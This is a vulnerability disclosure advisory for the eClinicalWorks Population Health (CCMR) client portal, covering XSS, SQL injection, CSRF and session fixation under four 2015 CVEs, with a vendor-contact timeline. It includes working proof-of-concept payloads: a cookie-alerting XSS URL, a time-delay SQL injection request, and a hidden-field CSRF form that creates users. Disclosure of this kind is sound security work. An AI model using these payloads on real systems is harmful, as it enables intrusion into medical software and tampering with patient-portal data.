eClinicalWorks Population Health (CCMR) SQL Injection / CSRF / XSS

Published
Credit
Risk
2016.02.02
Jerold Hoong
Medium
CWE
CVE
Local
Remote
CWE-89
CWE-79
CWE-352
CVE-2015-4591
CVE-2015-4592
CVE-2015-4593
CVE-2015-4594
No
Yes

# Title: eClinicalWorks (CCMR) - Multiple Vulnerabilities
# Vendor: https://www.eclinicalworks.com
# Product: eClinicalWorks Population Health (CCMR) Client Portal Software
# URL: https://www.eclinicalworks.com/products-services/population-health-ccmr/
# Credit: Jerold Hoong

-------------------------------------

# CVE-2015-4591 CROSS-SITE SCRIPTING
Cross-site scripting (XSS) vulnerability in login.jsp in eClinicalWorks Population
Health (CCMR) Client Portal Software allows remote authenticated users to inject
arbitrary javascript via the strMessage parameter.

https://127.0.0.1/mobiledoc/jsp/ccmr/clientPortal/login.jsp?strMessage=
%3Cimg%20src=/%20onerror=%22alert%28document.cookie%29%22/%3E

-------------------------------------

# CVE-2015-4592 SQL INJECTION
SQL injection vulnerability in portalUserService.jsp in eClinicalWorks Population
Health (CCMR) Client Portal Software allows remote authenticated users to inject
arbitrary malicious database commands as part of user input.

Parameter: uemail (POST PARAMETER)
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: action=updatePersonalInfo&ufname=john&ulname=doe&upaddress=&upcity=&upstate=
&zipcode=&uemail=john.doe@test.com';WAITFOR DELAY '0:0:5'--&upphone=0&umobileno=

POST /mobiledoc/jsp/ccmr/clientPortal/admin/service/portalUserService.jsp HTTP/1.1
Host: 127.0.0.1:443
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: https://127.0.0.1/mobiledoc/jsp/ccmr/clientPortal/dashBoard.jsp
Content-Length: 186
[SNIP] ...
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
[SNIP] ...

action=updatePersonalInfo&ufname=john&ulname=doe&upaddress=&upcity=&upstate=
&zipcode=&uemail=john.doe@test.com';WAITFOR DELAY '0:0:5'--&upphone=0&umobileno=

-------------------------------------

# CVE-2015-4593 CROSS-SITE REQUEST FORGERY
Cross-site request forgery (CSRF) vulnerability in portalUserService.jsp in eClinicalWorks
Client Portal allows remote attackers to hijack the authentication of content administrators
for requests that could lead to the creation, modification and deletion of users, appointments
and employees.

# ADDING OF USER
<html>
<body>
<form action="https://127.0.0.1/mobiledoc/jsp/ccmr/clientPortal/admin/service/portalUserService.jsp" method="POST">
<input type="hidden" name="action" value="add" />
<input type="hidden" name="uid" value="0" />
<input type="hidden" name="createdOver" value="1" />
<input type="hidden" name="ufname" value="John" />
<input type="hidden" name="ulname" value="Doe" />
<input type="hidden" name="uminitial" value="" />
<input type="hidden" name="selUserType" value="1" />
<input type="hidden" name="status" value="0" />
<input type="hidden" name="upaddress" value="" />
<input type="hidden" name="upcity" value="" />
<input type="hidden" name="upstate" value="" />
<input type="hidden" name="zipcode" value="" />
<input type="hidden" name="uemail" value="johndoe&#64;test&#46;com&#46;de" />
<input type="hidden" name="upphone" value="98999299" />
<input type="hidden" name="umobileno" value="" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

-------------------------------------

# CVE-2015-4594 SESSION FIXATION
The web application is vulnerable to session fixation attacks. When authenticating a user
the application does not assign a new session ID, making it possible to use an existent
session ID.

-------------------------------------

# TIMELINE
16/06/2015: Vulnerability found
16/06/2015: Vendor informed
16/06/2015: Request for CVE IDs
- 16/06/2015: MITRE issued CVE numbers
16/06/2015: Vendor responded requesting more information on support contract etc
- 21/06/2015: No support contract, vendor does not open case
- 22/06/2015: Requested update from vendor, no response
- 01/07/2015: Contacted vendor again, vendor requested for support contract again
- 02/07/2015: No support contract, no response from vendor
31/01/2016: Public disclosure


See this note in RAW Version

 
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